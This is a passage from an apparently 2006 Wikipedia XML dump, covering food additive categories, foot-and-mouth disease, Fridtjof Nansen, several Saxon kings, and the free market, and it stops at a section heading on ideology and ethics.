For example, [[acetic acid]] is written as E260 on products sold in Europe, but is simply known as additive 260 in some countries. Additive 103, [[alkanet]], is not approved for use in Europe so does not have an E number, although it is approved for use in [[Australia]] and [[New Zealand]].

See [[list of food additives]] for a complete list of all of the numbers.

==Categories==

Food additives can be divided into several groups, although there is some overlap between them.

;Acids : Food [[acid]]s are added to make flavours &quot;sharper&quot;, and also act as preservatives and antioxidants. Common food acids include [[vinegar]], [[citric acid]], [[tartaric acid]], [[malic acid]], [[fumaric acid]], [[lactic acid]].
;Acidity regulators : [[Acidity regulator]]s are used to change or otherwise control the acidity and [[alkaline|alkalinity]] of foods.
;Anticaking agents : [[Anticaking agent]]s keep powders such as milk powder flowing freely.
;Antifoaming agents : [[Antifoaming agent]]s reduce or prevent foaming in foods.
;Antioxidants : [[Antioxidant]]s such as [[vitamin C]] act as preservatives by inhibiting the effects of [[oxygen]] on food, and are generally beneficial to health.
;Bulking agents : [[Bulking agent]]s such as [[starch]] are additives that increase to bulk of a food without affecting its nutritional value.
;Food coloring : [[Food coloring|Colorings]] are added to food to replace colours lost during preparation, or to make food look more attractive.
;Colour retention agents : In contrast to colourings, [[colour retention agent]]s are used to preserve a food's existing colour.
;Emulsifiers : [[Emulsifier]]s allow water and oils to remain mixed together in an [[emulsion]], as in [[mayonnaise]], [[ice cream]], and homogenised [[milk]].
;Flavours : [[Flavour]]s are additives that give food a particular taste or smell, and may be derived from natural ingredients or created articially.
;Flavour enhancers : [[Flavour enhancer]]s enhance a food's existing flavours.
;Flour treatment agents : [[Flour treatment agent]]s are added to [[flour]] to improve its colour or its use in [[baking]].
;Humectants : [[Humectant]]s prevent foods from drying out.
;Preservatives : [[Preservative]]s prevent or inhibit spoilage of food due to [[fungi]], [[bacterium|bacteria]] and other [[microorganism]]s.
;Propellants : [[Propellant]]s are pressurised gases used to expel food from its container.
;Stabilizers : [[Stabilizer]]s, thickeners and gelling agents, like [[agar]] or [[pectin]] (used in [[jam]] for example) give foods a firmer texture.  While they are not true [[emulsifier]]s, they help to stabilize [[emulsion]]s. 
;Sweeteners : [[Sweetener]]s are added to foods for flavoring. Sweeteners other than [[sugar]] are added to keep the [[food energy]] ([[calorie]]s) low, or because they have beneficial effects for [[diabetes mellitus]] and [[tooth decay]].
;Thickeners : [[Thickener]]s are substances which, when added to the mixture, increase its [[viscosity]] without substantially modifying its other properties

==External links==
* [http://www.grokfood.com/ Database of food additives and regulations governing their use]
* [http://europa.eu.int/comm/food/fs/sfp/flav_index_en.html EU legislation on food additives]
* [http://www.cspinet.org/reports/chemcuisine.htm CSPI's guide to food additives]

[[Category:Food science]]
[[Category:Food additives]]

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  </page>
  <page>
    <title>Foot-and-mouth disease</title>
    <id>11818</id>
    <revision>
      <id>41941356</id>
      <timestamp>2006-03-02T19:53:40Z</timestamp>
      <contributor>
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      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Foot-and-mouth disease |
  ICD10       = B08.8 |
  ICD9        = {{ICD9|078.4}} |
}}
'''Foot-and-mouth disease''' (FMD, ''Aphtae epizooticae'' in [[Latin]]), sometimes called '''hoof-and-mouth disease''', is a [[infectious disease|highly contagious]] and sometimes fatal [[virus (biology)|viral]] [[disease]] of [[cattle]] and [[pig]]s.  It can also infect [[deer]], [[goat]]s, [[sheep]], and other animals with cloven hooves, as well as [[elephant]]s, [[rat]]s, and [[hedgehog]]s.  [[Horse]]s are not susceptible to FMD.  Humans are affected only very rarely.  The cause of FMD was first shown to be viral in [[1897]] by [[Friedrich Loeffler]].  He passed the [[blood]] of an infected animal through a fine porcelain-glass filter and found that the fluid that was collected could still cause the disease in healthy animals.  
{{Taxobox_begin | color = violet | name = Picornaviruses}}
{{Taxobox_begin_placement_virus}}
{{Taxobox_group_iv_entry}}
{{Taxobox_familia_entry | taxon = ''[[Picornaviridae]]''}}
{{Taxobox_genus_entry | taxon = ''[[Aphthovirus]]''}}
{{Taxobox_species_entry | taxon = '''''Foot-and-mouth disease virus'''''}}
{{Taxobox_end_placement}}
{{Taxobox_end}}

FMD occurs throughout much of the world, including parts of [[Europe]], [[Africa]], [[Asia]], and [[South America]].  While currently (July 2001) some countries, including [[Australia]], [[Canada]], and the [[United States]] have been free of FMD for some time, eradicated from the U.S. in 1929, its wide host range and rapid spread represent cause for international concern. There was an outbreak of FMD in [[Great Britain|Britain]] in [[2001]] which resulted in the slaughter of many animals. Many sporting events and leisure activities like [[Ten Tors]] were cancelled. (see [[2001 UK foot and mouth crisis]] for details).

Foot-and-mouth disease, after World War II, was widely distributed throughout the world. In 1996, endemic areas were Asia, Africa, and parts of South America. In South America, Chile is free, and Uruguay and Argentina have not had an outbreak since April 1994. Most European countries have been recognized as free. Countries belonging to the European Union have stopped FMD vaccination. North and Central America, Australia, New Zealand, and Japan have been free of FMD for many years. A serious breakout occurred in 2001 covering all of the United Kingdom and parts of Europe. Due to strict government policies on sale of livestock, disinfection of all persons leaving and entering farms and the cancellation of large events likely to be attended by farmers, a potentially economically disastrous epidemic was avoided in the [[Republic of Ireland]], with just 1 case recorded in Proleek, [[Co. Louth]].

There are seven different FMD serotypes - O, A, C, SAT-1, SAT-2, SAT-3 and Asia-1.  These serotypes show some regionality, and the O serotype is most common.

== Symptoms ==
Foot-and-mouth disease is characterized by high [[fever]] that declines rapidly after two or three days; blisters inside the mouth that lead to excessive secretion of stringy or foamy saliva and to drooling; and blisters on the feet that may rupture and cause lameness.  Adult animals may suffer weight loss from which they do not recover for several months as well as swelling in the testicles of mature males, and in cows, [[milk]] production can decline significantly.  Though most animals eventually recover from FMD, the disease can lead to [[myocarditis]] (inflammation of the heart muscle) and death, especially in newborn animals.  Some infected animals remain asymptomatic, that is, they do not suffer from or show signs of the disease; but they are [[Asymptomatic carrier|carrier]]s of FMD and can transmit it to others.

Infection with foot-and-mouth disease tends to occur locally, that is, the virus is passed on to susceptible animals through direct contact with infected animals or with contaminated pens or vehicles used to transport livestock.  The clothes and skin of animal handlers such as farmers, standing water, and uncooked food scraps and feed supplements containing infected animal products can harbor the virus as well.  Cows can also catch FMD from the semen of infected bulls.  Control measures include quarantine and destruction of infected livestock, and export bans for meat and other animal products to countries not infected with the disease.

Foot-and-mouth disease is caused by an [[Aphthovirus]] of the viral family [[Picornaviridae]].  The members of this family are small (25-30 nm), nonenveloped [[icosahedral]] viruses that contain single-stranded [[RNA]] (ribonucleic acid, the viral genetic material).  When such a virus comes in contact with a host cell, it binds to a receptor site and triggers a folding-in of the cell membrane.  Once the virus is inside the host cell, its protein coat dissolves.  New viral RNA and components of the protein coat are then synthesized in large quantities and assembled to form new viruses.  After assembly, the host cell lyses (bursts) and releases the new viruses.

Humans can be infected with foot-and-mouth disease through contact with infected animals, but this is extremely rare.  Because the virus that causes FMD is sensitive to stomach acid, it cannot spread to humans via consumption of infected meat.  In the UK, the last confirmed human case occurred in [[1967]], and only a few other cases have been recorded in countries of [[continental Europe]], Africa, and South America.  Symptoms of FMD in humans include malaise, fever, vomiting, red ulcerative lesions (surface-eroding damaged spots) of the oral tissues, and sometimes vesicular lesions (small blisters) of the skin.  

There is another viral disease with similar symptoms, commonly referred to as &amp;ldquo;[[hand, foot, and mouth disease]],&amp;rdquo; that occurs more frequently in humans, especially in young children; this disease is caused by a different virus of the family Picornaviridae, namely, an Enterovirus called [[Coxsackie A]].  

Because FMD rarely infects humans but spreads rapidly among animals, it is a much greater threat to the agriculture industry than to human health.  Farmers around the world can lose billions of dollars a year during a foot-and-mouth epidemic, when large numbers of animals are destroyed and revenues from milk and meat production go down.

== Vaccination ==
One of the difficulties in vaccinating against FMD is the huge variation between and even within serotypes.  There is no cross-protection between [[serotype|serotypes]] (meaning that a vaccine for one serotype won't protect against any others) and in addition, two [[strain (biology)|strains]] within a given serotype may have [[DNA|nucleotide]] sequences that differ by as much as 30% for a given gene.  This means that FMD [[vaccine|vaccines]] must be highly specific to the strain involved.  Vaccination only provides temporary [[immune system|immunity]] that lasts from months to years.  

Currently, the [[OIE]] recognizes countries to be in one of three disease states with regards to FMD - FMD present with or without vaccination, FMD free with vaccination, and FMD free without vaccination.  Countries that are designated FMD free without vaccination have the greatest access to export markets, so many developed nations, including Canada, the United States, and the UK, currently have FMD free without vaccination status.

Many early [[vaccine]]s used dead samples of FMD virus to inoculate animals. However, those early vaccines sometimes caused real outbreaks. In the 1970s, scientists discovered that a vaccine could be made using only a single key [[protein]] from the virus. The task was to produce such quantities of the protein that could be used in the vaccination. On [[June 18]], [[1981]], the U.S. government announced the creation of vaccine targeted against FMD, which was the world's first [[Genetic engineering|genetically engineered]] vaccine. More than two decades later, FMD is still around.

The North American FMD Vaccine Bank is housed at the Department of Agriculture's (USDA) Foreign Animal Disease Diagnostic Laboratory (FADDL) at Plum Island Animal Disease Center. The Center, located 1.5 miles off the coast of Long Island, NY, is the only place in the United States where scientists can conduct research and diagnostic work on highly contagious exotic animal diseases such as FMD.

== Further reading ==
*Levy, Jay A., Heinz Fraenkel-Conrat, and Robert A. Owens. &quot;Picornaviridae.&quot; Chap. 2, section 2.2 in Virology. Englewood Cliffs, NJ: Prentice Hall, 1994. 
*''A Manufactured Plague: The History Of Foot-and-mouth Disease In Britain'' (2004, ISBN 1844070808) by [[Abigail Wood]], a veterinary researcher at the [[University of Manchester]].[http://www.blancmange.net/tmh/articles/awoodfmd.html]
*The Lab-On-Site Project has more information in [http://www.labonsite.com/background.php?id=1 Foot and Mouth Disease Virus].
*Intervet International has a site devoted to FMD detailing information about Control, Vaccination, Legal Issues, &amp; Preparation [http://www.foot-and-mouth-disease.com/].

==See also==
*[[Hand, foot and mouth disease]] (HFMD)

&lt;!----&gt;

[[Category:Picornaviruses]]
[[Category:Infectious diseases]]
[[Category:Animal diseases]]

[[en:Foot-and-mouth disease]]
[[cy:Clwyf y traed a’r genau]]
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[[fr:Fièvre aphteuse]]
[[he:מחלת הפה והטלפיים]]
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    </revision>
  </page>
  <page>
    <title>Fridtjof Nansen</title>
    <id>11820</id>
    <revision>
      <id>38942312</id>
      <timestamp>2006-02-09T17:57:34Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
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      <minor />
      <comment>robot  Adding: ko</comment>
      <text xml:space="preserve">[[image:Nansen.jpg|thumb|right|Fridtjof Nansen]]

'''Fridtjof Nansen''' (born [[October 10]], [[1861]] in Store Frøen, near [[Kristiania]], now [[Oslo]] - died [[May 13]], [[1930]] in [[Lysaker]], outside [[Oslo]]) was a [[Norway|Norwegian]] explorer, scientist and diplomat. Nansen was awarded the [[Nobel Peace Prize]] in [[1922]] for his work as a [[League of Nations]] [[High Commissioner]].

==Arctic exploration==

Nansen made his first voyage to [[Greenland]] waters in a [[sealing]] [[SS Viking|ship]] [[1882]], and in [[1888]] succeeded in crossing the [[Greenland]] icefield on skis from east to west with [[Otto Sverdrup]], [[Olaf Dietrichson]], [[Kristian Kristiansen Trana]], [[Samuel Balto]] and [[Ole Nielsen Ravna]]. In [[1893]], he sailed to the [[Arctic]] in the ''[[Fram]]'' (a purpose-built, round-hulled ship later used by [[Roald Amundsen]] to transport his expedition to [[Antarctica]]) which was deliberately allowed to drift north through the ice, a journey that took more than three years. During this first crossing of the [[Arctic Ocean]] the expedition became the first to discover the existence of a [[North Polar Basin|deep polar basin]]. When, after more than one year in the ice it became apparent that ''Fram'' would not reach the [[North Pole]], Nansen, accompanied by [[Hjalmar Johansen]] ([[1867]]&amp;ndash;[[1913]]), continued north on foot and, in April [[1895]], reached 86° 14´ N, the highest latitude then attained.  The two men were forced to spend the winter, surviving on [[walrus]] [[blubber]] and [[polar bear]] meat, on [[Franz Josef Land]], where they eventually, in the summer of [[1896]], connected with a British expedition led by [[Frederick George Jackson]].

==Academic career and scientific works==

Nansen was a professor of [[zoology]] and later [[oceanography]] at the [[University of Oslo|Royal Frederick University]] in [[Oslo]] and contributed with groundbreaking works in the fields of [[neurology]] and [[fluid dynamics]].

Nansen was one of the founders of the [[neuron|neuron theory]] stating that the [[neural network]] consists of individual cells communicating with each other.

Nansen did extensive research into the behavior and origin of [[ocean current]]s, following his experiences from the Fram expedition. He was, together with the [[Sweden|Swedish]] mathematician [[V. Walfrid Ekman]], deeply involved in the discovery of how currents are generated from the planetary rotation and the formulation of the theory of the [[Ekman spiral]] that explains the phenomenon. He also invented a bottle for collection of water samples from various depths known as the ''[[Nansen bottle]]'' that, further developed by [[Shale Niskin]], is still in use.

==Diplomatic and political career==

Before Norway's [[Separation of Norway from Sweden in 1905|dissolution of its union]] with Sweden on [[7 June]] [[1905]], Nansen had been a devoted republican, along with other prominent Norwegians like the authors [[Bjørnstjerne Bjørnson]] and [[Arne Garborg]]. However, after convincing argument by [[Sigurd Ibsen]] and others, Nansen changed his position (as did Bjørnson and Garborg) and was thereafter influential in convincing [[Haakon VII of Norway|Prince Carl of Denmark]] that he should accept the position as king of Norway. In a referendum where the Norwegian electorate chose between a [[monarchy]] and a [[republic]], Nansen campaigned for monarchy, certain it was the right thing for Norway, although the general view was that Nansen would be elected President if Norwegians chose republican rule. Carl was crowned as King Haakon VII after the referendum results indicated Norwegians' strong preference for monarchy.  

Following Norway's independence, Nansen was appointed as the Norwegian ambassador in [[London]] ([[1906]]-[[1908|08]]) becoming a close friend of [[Edward VII of the United Kingdom|King Edward]] and assuring support from Britain in the campaign for an international guarantee of Norwegian territorial integrity.

In the period between the wars there was an unsuccessful effort on Nansen's behalf to make him the Prime Minister in a broad government based on all the non-socialist parties to counter the growth of [[Arbeiderpartiet]], the Norwegian labour party. In [[1925]] he co-founded Fedrelandslaget (The Fatherland Society), an anti-socialist political organisation that folded at the outbreak of the [[Second World War]].

==The League of Nations==

After [[World War I]], Nansen became involved in the [[League of Nations]] as a [[High Commissioner]] for several initiatives, including organisation of exchange of [[Prisoner of war|war prisoners]] and help to [[High Commissioner for Refugees|Russian refugees]], in which campaign he originated the [[Nansen passport]] for [[refugees]]. For his work in service of the League of Nations he was awarded the [[Nobel Peace Prize]] in [[1922]].

==Posthumous honors==

Fridtjof Nansen has had many honors awarded posthumously among which are:
*The ''[[Nansen Refugee Award]]'' formerly known as the ''Nansen Medal'' has (since 1955) been given out yearly to ''a person or group for outstanding services in supporting refugee causes'' by the [[United Nations High Commissioner for Refugees|UNHCR]].
*The [[Royal Norwegian Navy]] has named the [[Fridtjof Nansen class frigate|''Fridtjof Nansen'' class]] of [[frigate]]s, and the lead ship, [[HNoMS Fridtjof Nansen (F310)|HNoMS ''Fridtjof Nansen'']] after him.
*The Norwegian Humanist Academy, [[Nansenskolen |Nansenskolen, ''Norsk Humanistisk Akademi'']] is named after Fridtjof Nansen. The academy is a Norwegian folk high-school, engaged in peace-building projects in former Yugoslavia. 
*A crater on the [[Nansen (lunar crater)|Moon]] and another on [[Nansen (crater on Mars)|Mars]] are named ''Nansen''.
*The asteroid [[853 Nansenia]] is named after Fridtjof Nansen.

==References==

* Nansen, F. (1999). ''Farthest North''. New York: Modern Library. (English translation of Nansen's own account of the Fram journey.)
* [[Roland Huntford|Huntford, Roland]]. (1997). ''Nansen''. London: Gerald Duckworth &amp; Co.
* Nansen, Fridtjof (1911). ''In Northern Mists. Arctic Exploration in Early Times ''. London: Heinemann. 2 vols.
* Nansen, Fridtjof (1895). ''The First Crossing of Greenland''.Longmans Green.

==External links==
* [http://www.nobel.se/peace/laureates/1922/nansen-bio.html Nobel Prize biography]
&lt;!-- this link doesn't work: * [http://www.nrsc.no/nansen/fritjof_nansen.html Short Nansen Biography] --&gt;
* [http://www.xs4all.nl/~pal/nansen.htm Nansen page w/pictures]
* [http://www.mnc.net/norway/Nansen.htm Fridtjof Nansen]
* [http://nobelprize.org/peace/laureates/1922/ Nobel Peace Prize laureate Fridtjof Nansen]
* [http://www.fni.no The Fridtjof Nansen Institute, Research Institution on natural resource and environmental policies]

{{Link FA|fr}}

[[Category:1861 births|Nansen, Fridtjof]]
[[Category:1930 deaths|Nansen, Fridtjof]]
[[Category:Nobel Peace Prize winners|Nansen, Fridtjof]]
[[Category:Norwegian people|Nansen, Fridtjof]]
[[Category:Norwegian explorers|Nansen, Fridtjof]]
[[Category:Norwegian politicians|Nansen, Fridtjof]]
[[Category:Norwegian scientists|Nansen, Fridtjof]]
[[Category:Order of St. Olav|Nansen, Fridtjof]]
[[Category:Explorers of the Arctic|Nansen, Fridtjof]]

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  <page>
    <title>Frederick Augustus I the Strong</title>
    <id>11821</id>
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      <text xml:space="preserve">#REDIRECT [[August II the Strong]]</text>
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    <title>Frederick Augustus II Wettin</title>
    <id>11822</id>
    <revision>
      <id>31978218</id>
      <timestamp>2005-12-19T16:13:09Z</timestamp>
      <contributor>
        <username>Appleseed</username>
        <id>404133</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[August III the Saxon]]</text>
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  </page>
  <page>
    <title>Frederick Christian Wettin</title>
    <id>11823</id>
    <revision>
      <id>15909540</id>
      <timestamp>2004-05-22T08:01:51Z</timestamp>
      <contributor>
        <username>Muriel Gottrop</username>
        <id>8201</id>
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      <minor />
      <comment>#REDIRECT [[Frederick Christian, Elector of Saxony]]</comment>
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  <page>
    <title>Frederick Augustus II of Saxony</title>
    <id>11824</id>
    <revision>
      <id>35894669</id>
      <timestamp>2006-01-20T01:53:06Z</timestamp>
      <contributor>
        <username>Arniep</username>
        <id>483481</id>
      </contributor>
      <comment>cat</comment>
      <text xml:space="preserve">'''Frederick Augustus II of Saxony''', whose full name was His Majesty '''Friedrich August II Albert Maria Clemens Joseph Vincenz Aloys Nepomuk Johann Baptista Nikolaus Raphael Peter Xaver Franz de Paula Veneantius King of Saxony''',  ([[May 18]], [[1797]] - [[August 9]], [[1854]]) became king of [[Saxony]] in 1836. Son of [[Maximilian, Prince of Saxony]] and Princess [[Caroline of Bourbon-Parma]].

On [[September 26]], [[1819]] Frederick Augustus II married Archduchess Caroline of Austria, daughter of [[Francis II, Holy Roman Emperor|Emperor Francis I of Austria]]. Following her death, on [[April 24]], [[1833]] he married Princess Marie Anne Leopoldine of Bavaria.

There were no children of either marriage.  He was succeeded by his brother, Johann I.

In 1849 revolutionary disturbances broke out in the Kingdom, forcing Frederick Augustus to flee to [[Festung Königstein|Königstein fortress]]. The [[May Uprising in Dresden|May Uprising]]  was crushed by Saxon and Prussian troops and Frederick was able to return after only a few days.

{{start box}}
{{succession box |
  before= [[Anthony Clement of Saxony|Anthony Clement]] |
  title= [[Rulers of Saxony|King of Saxony]]|
  years= 1836&amp;ndash;1854 |
  after= [[John I of Saxony]]
}}
{{end box}}

[[Category:House of Wettin]]
[[Category:Kings of Saxony]]
[[Category:Knights of the Garter]]
[[Category:1848 Revolutions people]]
[[Category:1797 births|Frederick Augustus II of Saxony]]
[[Category:1854 deaths|Frederick Augustus II of Saxony]]

[[de:Friedrich August II. (Sachsen)]]
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[[sv:Fredrik August II av Sachsen]]</text>
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  <page>
    <title>Frederick Augustus I King of Saxony</title>
    <id>11825</id>
    <revision>
      <id>15909542</id>
      <timestamp>2004-08-30T06:06:03Z</timestamp>
      <contributor>
        <username>John Kenney</username>
        <id>10512</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Frederick Augustus I of Saxony]]</text>
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  </page>
  <page>
    <title>Free market</title>
    <id>11826</id>
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    <revision>
      <id>41921539</id>
      <timestamp>2006-03-02T17:08:41Z</timestamp>
      <contributor>
        <username>Monkeyman</username>
        <id>79245</id>
      </contributor>
      <minor />
      <comment>/* External links */ Removing self promotion.</comment>
      <text xml:space="preserve">In theoretical [[economics]], a '''free market''' is an idealised [[economic model]] wherein exchanges are &quot;free&quot; of all [[coercion|coercive]] measures, including such [[government]] interference as [[tariff]]s, [[tax]]ation, and [[regulation]]s, except those which allow for private property ownership in land, natural resources, and the broadcast spectrum, as well as [[intellectual property]], [[corporations]], and other legal fictions. The [[laissez-faire]] economic philosophy in [[politics]] espouses approximating this condition in the real world by eliminating tariffs, minimizing and simplifying taxation, and minimizing or eliminating government regulations and restrictions such as [[labour law]]s ([[minimum wage]] and working conditions, but not laws that restrict worker organization) and both [[Monopoly#Legal monopoly|legal monopoly]] and [[antitrust]] laws. In the confines of [[political economy|political economics]], the &quot;free market&quot; is simply the conceptual [[opposite]] of a [[command economy]], where all goods and services are produced, priced, and distributed under government control.

No national economy in existence fully manifests the ideal of a free market as theorized by economists and [[ethicist]]s. In political discourse, the term &quot;free market economy&quot; usually refers to an economy that ''approximates'' the ideal by virtue of having a government that engages in little or no [[economic interventionism|interventionist]] economic regulation.

In a free market, purchaser satisfaction alone would determine the success or failure of particular [[goods and services]].In very specific contexts, as in the exchange of a particular pair of commodities, the term &quot;a free market&quot; may refer to the particular market as being free of restrictions. In political [[rhetoric]], the &quot;free market&quot; is a term which asserts that market concepts represent an undesirable compromise with the command economy model.



== Mechanics ==
In an absolutely ''free-market economy'', all capital, goods, services, and money flow freely&amp;mdash;transfers are not forcibly restricted or impeded. If a government intervenes in private affairs, it only does so to stop coercion that may take place among market participants. 
As this protection must be funded, such a government taxes only to the extent necessary to perform this function. This state of affairs is also known as ''[[laissez-faire]]''. 

Trades in a market made with [[Fiat money]] cannot be considered to be [[free]] ones, as long as the widespread acceptance of fiat [[money]] is enhanced by a central authority which mandates or compels the money's acceptance under penalty of law and demands this money in payment of [[tax|taxes]] or [[tribute]].

Whether the marketplace ''should be'' or ''is''  free is also disputed; many assert that government intervention is necessary to remedy [[market failure]] that is held be an inevitable result of absolute adherence to free market principles. 

Internationally, free markets are advocated by proponents of [[economic liberalism]]; in Europe this is usually simply called ''liberalism''. In the [[United States]], support for free market economic structures is a key tenet of U.S. [[conservatism]] and [[libertarianism]]. Since the 1970s, promotion of a global free-market economy, [[deregulation]] and [[privatization]], is often described as [[neoliberalism]].

The term ''free market economy'' is sometimes used to describe some economies that exist today (such as [[Hong Kong]]), but pro-market groups would only accept that description if the government practices ''laissez-faire'' policies, rather than state intervention in the economy. An economy that contains significant economic interventionism by government, while still retaining some characteristics found in a free market, is often called a ''[[mixed economy]]''. Since the emergence of a distinct economic system in the [[Soviet Union]], the free market is usually contrasted to a command economy and a [[centrally planned economy]]. However, early proponents of a market economy in [[18th-century]] Europe contrasted it with the [[mediaeval]], [[Early Modern|early-modern]], and [[mercantilist]] economies which preceded it.

For [[social philosophy]], a free market is a system for [[allocation|allocating]] goods within a society: [[supply and demand]] within the market determine who gets what, and what is produced. 

A free market does not require the existence of competition, however it does require the competition is not being prevented by coercion. Hence, in the lack of coercive barriers it is generally understood that competition flourishes in a free market environment. It often connotates the presence of the [[profit|profit motive]], although neither a profit motive or profit itself are necessary for a free market. All modern free markets are understood to include [[entrepreneur|entrepreneurs]], both individuals and [[business|businesses]]. Typically, a modern free market economy would include other features, such as a [[stock exchange]] and a [[financial services]] sector, but they do not define it.

==Origins==
Some theories assume that a free market is a natural form of social organization, and that a free market will arise in any society where it is not obstructed. The consensus among [[economic history|economic historians]] is that the free market economy is a specific historic phenomenon, and that it emerged in late mediaeval and early-modern Europe. Some economic historians see elements of the free market in the economic systems of [[Classical Antiquity]], and in some non-western societies.

By the [[19th century]] the market certainly had organized political support, in the form of laissez-faire liberalism. However, it is not clear if the support preceded the emergence of the market, or followed it. Some historians see it as the result of the success of early liberal [[ideology]], combined with the specific interests of the [[entrepreneur]]. In [[Marxism|Marxist]] theory, the ideology simply expresses the underlying long-term transition from [[feudalism]] to [[capitalism]]. Note that the views on this issue - emergence or implementation - do not necessarily correspond to pro-market and anti-market positions. [[Libertarian]]s would dispute that the market was enforced through government policy, since that has a connotation of repression, and Marxists agree with them, for different reasons.

==Theory==
The law of [[supply and demand]] predominates in the idealized free market, influencing prices toward an [[equilibrium]] that balances the demands for the products against the supplies. At these equilibrium prices, the market distributes the products to the purchasers according to each purchaser's use (or utility) for each product and within the relative limits of each buyer's [[purchasing power]]. The necessary components for the functioning of an idealized free market include the complete absence of artificial price pressures from taxes, subsidies, [[tariff]]s, or government regulation (other than protection from coercion and theft), and no [[government-granted monopoly|government-granted monopolies]] (usually classified as [[coercive monopoly]] by free market advocates) like the [[United States Post Office]], [[Amtrak]], arguably [[patent]]s, etc.

This equilibrating behaviour of free markets makes certain assumptions about their agents, for instance that they act independently. Some models in [[econophysics]] have shown that when agents are allowed to interact locally in a free market (ie. their decisions depend not only on utility and purchasing power, but also on their peers' decisions), prices can become unstable and diverge from the equilibrium, often in an abrupt manner.
The behaviour of the free market is thus said to be non-linear (a pair of agents bargaining for a purchase will agree on a different price than 100 identical pairs of agents doing the identical purchase). Speculation bubbles and the type of [[herd]] behaviour often observed in stock markets are quoted as real life examples of non-equilibrium price trends. Free-market advocates, especially [[Austrian school]] followers, often dismiss this endogenous theory, and blame external influences, such as weather, commodity prices, technological developments, and government meddling on non-equilibrium prices.

The distribution of purchasing power in an economy depends to a large extent on [[social class]], [[labor market|labor]] and [[financial markets]], but also on other, lesser factors such as family relationships, [[inheritance]], [[gift]]s and so on.  Many theories describing the operation of a free market focus primarily on the markets for consumer products, and their description of the labor market or financial markets tends to be more complicated and controversial.

The free market can be seen as facilitating a form of decision-making through what is known as [[dollar voting]], where a purchase of a product is tantamount to casting a vote for a producer to continue producing that product.

The effect of economic freedom on society's and individuals' [[wealth]] remains a subject of controversy. [[Kenneth Arrow]] and [[Gerard Debreu]] have shown that under certain idealized conditions, a system of free trade leads to [[Pareto efficiency]].

Many advocates of free makets, most notably [[Milton Friedman]], have also argued that there is a direct relationship between economic growth and economic freedom, though this assertion is much harder to prove both theoretically and empirically.  

Joshua Epstein and Robert Axtell have attempted to predict the properties of free markets in an agent-based computer simulation called sugarscape. They came to the conclusion that, again under idealized conditions, free markets lead to a [[Pareto distribution]] of wealth.

==Practice==
While the free-market is an idealized abstraction, it is useful in understanding real markets whether artificially created and regulated by governments or non-governmental agencies,  or phenomena such as the [[black market]] and the [[underground economy]], which can be remarkably robust in persisting despite attempts to suppress these markets.

==Practical critique of the free market==
Not all advocates of [[capitalism]] consider free markets to be practical. For example, Martin J. Whitman has written, in a discussion of [[John Maynard Keynes|Keynes]], [[Milton Friedman|Friedman]] and [[Friedrich Hayek|Hayek]], that these &quot;&amp;hellip;great economists&amp;hellip;missed a lot of details that are part and parcel of every [[value investor]]'s daily life.&quot; While calling Hayek &quot;100% right&quot; in his critique of the pure command economy, he writes &quot;However, in no way does it follow, as many Hayek disciples seem to believe, that government is ''per se'' bad and unproductive while the private sector is, ''per se'' good and productive. In well-run industrial economies, there is a marriage between government and the private sector, each benefiting from the other.&quot; As illustrations of this, he points at &quot;[[Japan]] after [[World War II]], [[Singapore]] and the other [[Asian Tigers]], [[Sweden]] and [[China]] today&amp;hellip; Government has a necessary role in determining how control persons [management, boards of directors, etc.] are incentivized&amp;hellip; &lt;ref&gt;Martin J. Whitman, Third Avenue Value Fund letter to shareholders October 31, 2005. p.3.&lt;/ref&gt;
He argues, in particular, for the value of government-provided credit and of carefully crafted tax laws.&lt;ref&gt;''Ibid.'', p.4.&lt;/ref&gt; 

Further, Whitman argues (explicitly against Hayek) that &quot;a free market situation is probably also doomed to failure if there exist control persons who are not subject to external disciplines imposed by various forces over and above competition.&quot; The lack of these disciplines, says Whitman, lead to &quot;1. Very exorbitant levels of [[executive compensation]]&amp;hellip; 2. Poorly financed businesses with strong prospects for money defaults on credit instruments&amp;hellip; 3. Speculative [[bubble (economics)|bubbles]]&amp;hellip; 4. Tendency for industry competition to evolve into [[monopoly|monopolies]] and [[oligopoly|oligopolies]]&amp;hellip; 5. Corruption.&quot; For all of these he provides recent examples from the U.S. economy, which he considers to be in some respects under-regulated.&lt;ref&gt;''Ibid.'', p.4.&lt;/ref&gt; 

He believes that an apparently &quot;free&quot; relationship&amp;mdash;that between a corporation and its investors and creditors&amp;mdash;is actually a blend of &quot;voluntary exchanges&quot; and &quot;coercion&quot;. For example, there are &quot;voluntary activities, where each individual makes his or her own decision whether to buy, sell, or hold&quot; but there are also &quot;[c]oercive activities, where each individual security holder is forced to go along&amp;hellip;provided that a requisite majority of other security holders so vote&amp;hellip;&quot; Examples of the latter include [[proxy voting]],  most merger and acquisition transactions, certain cash tender offers, and reorganization or liquidation in [[bankruptcy]].&lt;ref&gt;''Ibid.'', p.5.&lt;/ref&gt; 

&quot;I am one with Professor Friedman that, other things being equal, it is far preferable to conduct economic activities through voluntary exchange relying on free markets rather than through coercion. But Corporate America would not work at all unless many activities continued to be coercive.&lt;ref&gt;''Ibid.'', p.5-6.&lt;/ref&gt;

==The degree of market freedom==
The [[Heritage Foundation]], a [[conservative]] [[think tank]], tried to identify the key factors which allow to measure the degree of freedom of economy of a particular country.  In 1986 they introduced [[Index of Economic Freedom]], which is based on some fifty variables. This and other similar indices do not ''define'' a free market, but measure the ''degree'' to which a modern economy is free, meaning in most cases free of state intervention. The variables are divided into the following major groups:
*Trade policy,
*Fiscal burden of government,
*Government intervention in the economy,
*Monetary policy,
*Capital flows and foreign investment,
*Banking and finance,
*Wages and prices,
*Property rights,
*Regulation, and
*Informal market activity.
Each group is assigned a numerical value between 1 and 5; IEF is the arithmetical mean of the values, rounded to the hundredth.

Initially, countries which were traditionally considered capitalistic received high ratings, but the method improved over time.  Today one can see a vivid correlation between EOF value and country's [[Gross domestic product|GDP]].  &lt;!-- [http://www.heritage.org/research/features/index/downloads/economicFreedomandPerCapita.gif] not found 20 Feb 2006. Does someone have an alternate citation? --&gt;

==Ideology and ethics==
